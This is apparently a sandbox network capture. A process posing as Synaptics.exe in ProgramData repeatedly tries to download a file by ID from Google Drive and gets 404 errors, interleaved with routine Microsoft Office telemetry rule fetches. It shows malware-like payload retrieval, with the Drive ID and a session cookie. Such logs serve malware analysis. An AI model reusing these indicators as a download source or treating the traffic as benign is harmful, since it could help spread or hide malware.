2024-11-05 21:44:24 UTC	1314	IN	HTTP/1.1 303 See Other Content-Type: application/binary Cache-Control: no-cache, no-store, max-age=0, must-revalidate Pragma: no-cache Expires: Mon, 01 Jan 1990 00:00:00 GMT Date: Tue, 05 Nov 2024 21:44:24 GMT Location: https://drive.usercontent.google.com/download?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=download Strict-Transport-Security: max-age=31536000 Content-Security-Policy: require-trusted-types-for 'script';report-uri /_/DriveUntrustedContentHttp/cspreport Content-Security-Policy: script-src 'report-sample' 'nonce-92ZjOVfAVQT7_Hd9_8TiXQ' 'unsafe-inline';object-src 'none';base-uri 'self';report-uri /_/DriveUntrustedContentHttp/cspreport;worker-src 'self' Cross-Origin-Opener-Policy: same-origin Accept-CH: Sec-CH-UA-Arch, Sec-CH-UA-Bitness, Sec-CH-UA-Full-Version, Sec-CH-UA-Full-Version-List, Sec-CH-UA-Model, Sec-CH-UA-WoW64, Sec-CH-UA-Form-Factors, Sec-CH-UA-Platform, Sec-CH-UA-Platform-Version Permissions-Policy: ch-ua-arch=, ch-ua-bitness=, ch-ua-full-version=, ch-ua-full-version-list=, ch-ua-model=, ch-ua-wow64=, ch-ua-form-factors=, ch-ua-platform=, ch-ua-platform-version=* Server: ESF Content-Length: 0 X-XSS-Protection: 0 X-Frame-Options: SAMEORIGIN X-Content-Type-Options: nosniff Alt-Svc: h3=":443"; ma=2592000,h3-29=":443"; ma=2592000 Connection: close

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
102	192.168.2.5	49862	142.250.186.65	443	432	C:\ProgramData\Synaptics\Synaptics.exe

Timestamp	Bytes transferred	Direction	Data
2024-11-05 21:44:24 UTC	383	OUT	GET /download?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=download HTTP/1.1 User-Agent: Synaptics.exe Cache-Control: no-cache Host: drive.usercontent.google.com Connection: Keep-Alive Cookie: NID=518=DwAin6pYmnRWe_v7rUP4M1SBl_g9os_JYdmxiVzJ4AAUpXz_ISeazz6hImO1ECLh1-DCp51tOITR0NLD-tpoIvszsQoM-y1LxedFZ2i_w21gkRU-e_hQDTuWZIlo0xLwHpbcjrm9i8llcdDK93rICzE7TrwffgZGcC7JBl-O1pGbs4yWnKQ
2024-11-05 21:44:24 UTC	1253	IN	HTTP/1.1 404 Not Found Content-Type: text/html; charset=utf-8 Cache-Control: no-cache, no-store, max-age=0, must-revalidate Pragma: no-cache Expires: Mon, 01 Jan 1990 00:00:00 GMT Date: Tue, 05 Nov 2024 21:44:24 GMT Content-Security-Policy: script-src 'report-sample' 'nonce-2Lb4AA0KD26Y6wG1_Ex0iQ' 'unsafe-inline';object-src 'none';base-uri 'self';report-uri /_/DriveUntrustedContentHttp/cspreport;worker-src 'self' Content-Security-Policy: require-trusted-types-for 'script';report-uri /_/DriveUntrustedContentHttp/cspreport Accept-CH: Sec-CH-UA-Arch, Sec-CH-UA-Bitness, Sec-CH-UA-Full-Version, Sec-CH-UA-Full-Version-List, Sec-CH-UA-Model, Sec-CH-UA-WoW64, Sec-CH-UA-Form-Factors, Sec-CH-UA-Platform, Sec-CH-UA-Platform-Version Cross-Origin-Opener-Policy: same-origin Permissions-Policy: ch-ua-arch=, ch-ua-bitness=, ch-ua-full-version=, ch-ua-full-version-list=, ch-ua-model=, ch-ua-wow64=, ch-ua-form-factors=, ch-ua-platform=, ch-ua-platform-version=* Content-Length: 1652 X-GUploader-UploadID: AHmUCY25LO9K1HG7qAmD9CSBtwa3vMw9medG7hDQaUmzjLA0Ka_sBL27b-hGlhGwgJ3i4rdG4aYFRIhYcQ Server: UploadServer Alt-Svc: h3=":443"; ma=2592000,h3-29=":443"; ma=2592000 Content-Security-Policy: sandbox allow-scripts Connection: close
2024-11-05 21:44:24 UTC	125	IN	Data Raw: 3c 68 74 6d 6c 20 6c 61 6e 67 3d 22 65 6e 22 20 64 69 72 3d 6c 74 72 3e 3c 6d 65 74 61 20 63 68 61 72 73 65 74 3d 75 74 66 2d 38 3e 3c 6d 65 74 61 20 6e 61 6d 65 3d 76 69 65 77 70 6f 72 74 20 63 6f 6e 74 65 6e 74 3d 22 69 6e 69 74 69 61 6c 2d 73 63 61 6c 65 3d 31 2c 20 6d 69 6e 69 6d 75 6d 2d 73 63 61 6c 65 3d 31 2c 20 77 69 64 74 68 3d 64 65 76 69 63 65 2d 77 69 64 74 68 Data Ascii: <html lang="en" dir=ltr><meta charset=utf-8><meta name=viewport content="initial-scale=1, minimum-scale=1, width=device-width
2024-11-05 21:44:24 UTC	1378	IN	Data Raw: 22 3e 3c 74 69 74 6c 65 3e 45 72 72 6f 72 20 34 30 34 20 28 4e 6f 74 20 46 6f 75 6e 64 29 21 21 31 3c 2f 74 69 74 6c 65 3e 3c 73 74 79 6c 65 20 6e 6f 6e 63 65 3d 22 71 30 50 43 53 4c 44 67 58 31 57 65 49 30 37 65 31 53 6d 6e 77 67 22 3e 2a 7b 6d 61 72 67 69 6e 3a 30 3b 70 61 64 64 69 6e 67 3a 30 7d 68 74 6d 6c 2c 63 6f 64 65 7b 66 6f 6e 74 3a 31 35 70 78 2f 32 32 70 78 20 61 72 69 61 6c 2c 73 61 6e 73 2d 73 65 72 69 66 7d 68 74 6d 6c 7b 62 61 63 6b 67 72 6f 75 6e 64 3a 23 66 66 66 3b 63 6f 6c 6f 72 3a 23 32 32 32 3b 70 61 64 64 69 6e 67 3a 31 35 70 78 7d 62 6f 64 79 7b 63 6f 6c 6f 72 3a 23 32 32 32 3b 74 65 78 74 2d 61 6c 69 67 6e 3a 75 6e 73 65 74 3b 6d 61 72 67 69 6e 3a 37 25 20 61 75 74 6f 20 30 3b 6d 61 78 2d 77 69 64 74 68 3a 33 39 30 70 78 3b 6d 69 Data Ascii: "><title>Error 404 (Not Found)!!1</title><style nonce="q0PCSLDgX1WeI07e1Smnwg">*{margin:0;padding:0}html,code{font:15px/22px arial,sans-serif}html{background:#fff;color:#222;padding:15px}body{color:#222;text-align:unset;margin:7% auto 0;max-width:390px;mi
2024-11-05 21:44:24 UTC	149	IN	Data Raw: 69 6d 67 3e 3c 2f 73 70 61 6e 3e 3c 2f 61 3e 3c 70 3e 3c 62 3e 34 30 34 2e 3c 2f 62 3e 20 3c 69 6e 73 3e 54 68 61 74 e2 80 99 73 20 61 6e 20 65 72 72 6f 72 2e 3c 2f 69 6e 73 3e 3c 70 3e 54 68 65 20 72 65 71 75 65 73 74 65 64 20 55 52 4c 20 77 61 73 20 6e 6f 74 20 66 6f 75 6e 64 20 6f 6e 20 74 68 69 73 20 73 65 72 76 65 72 2e 20 3c 69 6e 73 3e 54 68 61 74 e2 80 99 73 20 61 6c 6c 20 77 65 20 6b 6e 6f 77 2e 3c 2f 69 6e 73 3e 3c 2f 6d 61 69 6e 3e Data Ascii: img></span></a><p><b>404.</b> <ins>Thats an error.</ins><p>The requested URL was not found on this server. <ins>Thats all we know.</ins></main>

Session ID	Source IP	Source Port	Destination IP	Destination Port
103	192.168.2.5	49863	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-05 21:44:24 UTC	192	OUT	GET /rules/rule120643v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-05 21:44:24 UTC	470	IN	HTTP/1.1 200 OK Date: Tue, 05 Nov 2024 21:44:24 GMT Content-Type: text/xml Content-Length: 400 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:28 GMT ETag: "0x8DC582BB2D62837" x-ms-request-id: 23aea2f2-001e-0065-4c65-2e0b73000000 x-ms-version: 2018-03-28 x-azure-ref: 20241105T214424Z-15869dbbcc6rmhmhhC1DFWd7b800000005sg000000008c3t x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-05 21:44:24 UTC	400	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 34 33 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 34 31 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 5e 28 5b 4c 6c 5d 5b 47 67 5d 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 31 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 53 52 3e 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 43 20 54 3d 22 57 22 20 49 3d 22 30 22 20 4f 3d 22 74 72 75 65 22 3e 0d 0a 20 20 20 20 3c 53 20 54 3d 22 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120643" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120641" /> <SR T="2" R="^([Ll][Gg])"> <S T="1" F="1" M="Ignore" /> </SR> </S> <C T="W" I="0" O="true"> <S T="

Session ID	Source IP	Source Port	Destination IP	Destination Port
104	192.168.2.5	49864	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-05 21:44:24 UTC	192	OUT	GET /rules/rule120644v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-05 21:44:24 UTC	491	IN	HTTP/1.1 200 OK Date: Tue, 05 Nov 2024 21:44:24 GMT Content-Type: text/xml Content-Length: 479 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:37 GMT ETag: "0x8DC582BB7D702D0" x-ms-request-id: fb68cf1d-a01e-001e-3b01-2d49ef000000 x-ms-version: 2018-03-28 x-azure-ref: 20241105T214424Z-16547b76f7fr4g8xhC1DFW9cqc00000004z0000000005gey x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT X-Cache-Info: L1_T2 Accept-Ranges: bytes
2024-11-05 21:44:24 UTC	479	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 34 34 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 34 33 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120644" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120643" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port
105	192.168.2.5	49865	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-05 21:44:24 UTC	192	OUT	GET /rules/rule120645v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-05 21:44:24 UTC	491	IN	HTTP/1.1 200 OK Date: Tue, 05 Nov 2024 21:44:24 GMT Content-Type: text/xml Content-Length: 425 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:40 GMT ETag: "0x8DC582BBA25094F" x-ms-request-id: 3fd26caf-a01e-0032-3d02-2d1949000000 x-ms-version: 2018-03-28 x-azure-ref: 20241105T214424Z-16547b76f7fxdzxghC1DFWmf7n00000005tg00000000h368 x-fd-int-roxy-purgeid: 0 X-Cache-Info: L1_T2 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-05 21:44:24 UTC	425	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 34 35 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 34 33 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 28 5b 41 61 5d 5b 4d 6d 5d 5b 41 61 5d 5b 5a 7a 5d 5b 4f 6f 5d 5b 4e 6e 5d 20 5b 45 65 5d 5b 43 63 5d 32 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 31 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 53 52 3e 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 43 20 54 3d 22 57 22 20 49 3d Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120645" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120643" /> <SR T="2" R="([Aa][Mm][Aa][Zz][Oo][Nn] [Ee][Cc]2)"> <S T="1" F="1" M="Ignore" /> </SR> </S> <C T="W" I=

Session ID	Source IP	Source Port	Destination IP	Destination Port
106	192.168.2.5	49867	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-05 21:44:24 UTC	192	OUT	GET /rules/rule120646v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-05 21:44:25 UTC	491	IN	HTTP/1.1 200 OK Date: Tue, 05 Nov 2024 21:44:24 GMT Content-Type: text/xml Content-Length: 475 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:28 GMT ETag: "0x8DC582BB2BE84FD" x-ms-request-id: 32d5e889-e01e-0099-1f00-2dda8a000000 x-ms-version: 2018-03-28 x-azure-ref: 20241105T214424Z-16547b76f7fp46ndhC1DFW66zg00000005q000000000ry6y x-fd-int-roxy-purgeid: 0 X-Cache-Info: L1_T2 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-05 21:44:25 UTC	475	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 34 36 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 34 35 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120646" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120645" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port
107	192.168.2.5	49868	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-05 21:44:25 UTC	192	OUT	GET /rules/rule120647v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-05 21:44:25 UTC	470	IN	HTTP/1.1 200 OK Date: Tue, 05 Nov 2024 21:44:25 GMT Content-Type: text/xml Content-Length: 448 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:29 GMT ETag: "0x8DC582BB389F49B" x-ms-request-id: 215f87f6-c01e-0046-2c15-2d2db9000000 x-ms-version: 2018-03-28 x-azure-ref: 20241105T214425Z-16547b76f7frbg6bhC1DFWr54000000005q0000000006euv x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-05 21:44:25 UTC	448	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 34 37 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 34 35 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 28 5b 41 61 5d 5b 50 70 5d 5b 41 61 5d 5b 43 63 5d 5b 48 68 5d 5b 45 65 5d 20 5b 53 73 5d 5b 4f 6f 5d 5b 46 66 5d 5b 54 74 5d 5b 57 77 5d 5b 41 61 5d 5b 52 72 5d 5b 45 65 5d 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 31 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 53 52 3e Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120647" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120645" /> <SR T="2" R="([Aa][Pp][Aa][Cc][Hh][Ee] [Ss][Oo][Ff][Tt][Ww][Aa][Rr][Ee])"> <S T="1" F="1" M="Ignore" /> </SR>

Session ID	Source IP	Source Port	Destination IP	Destination Port
108	192.168.2.5	49872	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-05 21:44:25 UTC	192	OUT	GET /rules/rule120648v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-05 21:44:25 UTC	491	IN	HTTP/1.1 200 OK Date: Tue, 05 Nov 2024 21:44:25 GMT Content-Type: text/xml Content-Length: 491 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:25:44 GMT ETag: "0x8DC582B98B88612" x-ms-request-id: ac6bbd40-501e-007b-3e0c-2d5ba2000000 x-ms-version: 2018-03-28 x-azure-ref: 20241105T214425Z-16547b76f7fnlcwwhC1DFWz6gw00000005rg00000000uq1m x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT X-Cache-Info: L1_T2 Accept-Ranges: bytes
2024-11-05 21:44:25 UTC	491	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 34 38 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 34 37 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120648" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120647" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port
109	192.168.2.5	49874	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-05 21:44:25 UTC	192	OUT	GET /rules/rule120649v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-05 21:44:25 UTC	470	IN	HTTP/1.1 200 OK Date: Tue, 05 Nov 2024 21:44:25 GMT Content-Type: text/xml Content-Length: 416 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:21 GMT ETag: "0x8DC582BAEA4B445" x-ms-request-id: d4ebd703-e01e-0085-25f6-2ec311000000 x-ms-version: 2018-03-28 x-azure-ref: 20241105T214425Z-17df447cdb54ntx4hC1DFW2k4000000001x0000000007tfe x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-05 21:44:25 UTC	416	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 34 39 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 34 37 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 5e 28 5b 46 66 5d 5b 45 65 5d 5b 44 64 5d 5b 4f 6f 5d 5b 52 72 5d 5b 41 61 5d 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 31 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 53 52 3e 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 43 20 54 3d 22 57 22 20 49 3d 22 30 22 20 4f 3d 22 74 72 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120649" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120647" /> <SR T="2" R="^([Ff][Ee][Dd][Oo][Rr][Aa])"> <S T="1" F="1" M="Ignore" /> </SR> </S> <C T="W" I="0" O="tr

Session ID	Source IP	Source Port	Destination IP	Destination Port
110	192.168.2.5	49875	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-05 21:44:25 UTC	192	OUT	GET /rules/rule120650v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-05 21:44:25 UTC	470	IN	HTTP/1.1 200 OK Date: Tue, 05 Nov 2024 21:44:25 GMT Content-Type: text/xml Content-Length: 479 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:25:44 GMT ETag: "0x8DC582B989EE75B" x-ms-request-id: f3c8b028-b01e-003d-2400-2fd32c000000 x-ms-version: 2018-03-28 x-azure-ref: 20241105T214425Z-17df447cdb5zfhrmhC1DFWh33000000001ug00000000etkz x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-05 21:44:25 UTC	479	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 35 30 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 34 39 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120650" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120649" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
111	192.168.2.5	49877	172.217.23.110	443	432	C:\ProgramData\Synaptics\Synaptics.exe

Timestamp	Bytes transferred	Direction	Data
2024-11-05 21:44:25 UTC	340	OUT	GET /uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=download HTTP/1.1 User-Agent: Synaptics.exe Host: docs.google.com Cache-Control: no-cache Cookie: NID=518=DwAin6pYmnRWe_v7rUP4M1SBl_g9os_JYdmxiVzJ4AAUpXz_ISeazz6hImO1ECLh1-DCp51tOITR0NLD-tpoIvszsQoM-y1LxedFZ2i_w21gkRU-e_hQDTuWZIlo0xLwHpbcjrm9i8llcdDK93rICzE7TrwffgZGcC7JBl-O1pGbs4yWnKQ
2024-11-05 21:44:26 UTC	1314	IN	HTTP/1.1 303 See Other Content-Type: application/binary Cache-Control: no-cache, no-store, max-age=0, must-revalidate Pragma: no-cache Expires: Mon, 01 Jan 1990 00:00:00 GMT Date: Tue, 05 Nov 2024 21:44:26 GMT Location: https://drive.usercontent.google.com/download?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=download Strict-Transport-Security: max-age=31536000 Cross-Origin-Opener-Policy: same-origin Content-Security-Policy: script-src 'report-sample' 'nonce-3hte2a_Eb6ix1iP3h2VBMg' 'unsafe-inline';object-src 'none';base-uri 'self';report-uri /_/DriveUntrustedContentHttp/cspreport;worker-src 'self' Content-Security-Policy: require-trusted-types-for 'script';report-uri /_/DriveUntrustedContentHttp/cspreport Accept-CH: Sec-CH-UA-Arch, Sec-CH-UA-Bitness, Sec-CH-UA-Full-Version, Sec-CH-UA-Full-Version-List, Sec-CH-UA-Model, Sec-CH-UA-WoW64, Sec-CH-UA-Form-Factors, Sec-CH-UA-Platform, Sec-CH-UA-Platform-Version Permissions-Policy: ch-ua-arch=, ch-ua-bitness=, ch-ua-full-version=, ch-ua-full-version-list=, ch-ua-model=, ch-ua-wow64=, ch-ua-form-factors=, ch-ua-platform=, ch-ua-platform-version=* Server: ESF Content-Length: 0 X-XSS-Protection: 0 X-Frame-Options: SAMEORIGIN X-Content-Type-Options: nosniff Alt-Svc: h3=":443"; ma=2592000,h3-29=":443"; ma=2592000 Connection: close

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
112	192.168.2.5	49873	142.250.186.65	443	432	C:\ProgramData\Synaptics\Synaptics.exe

Timestamp	Bytes transferred	Direction	Data
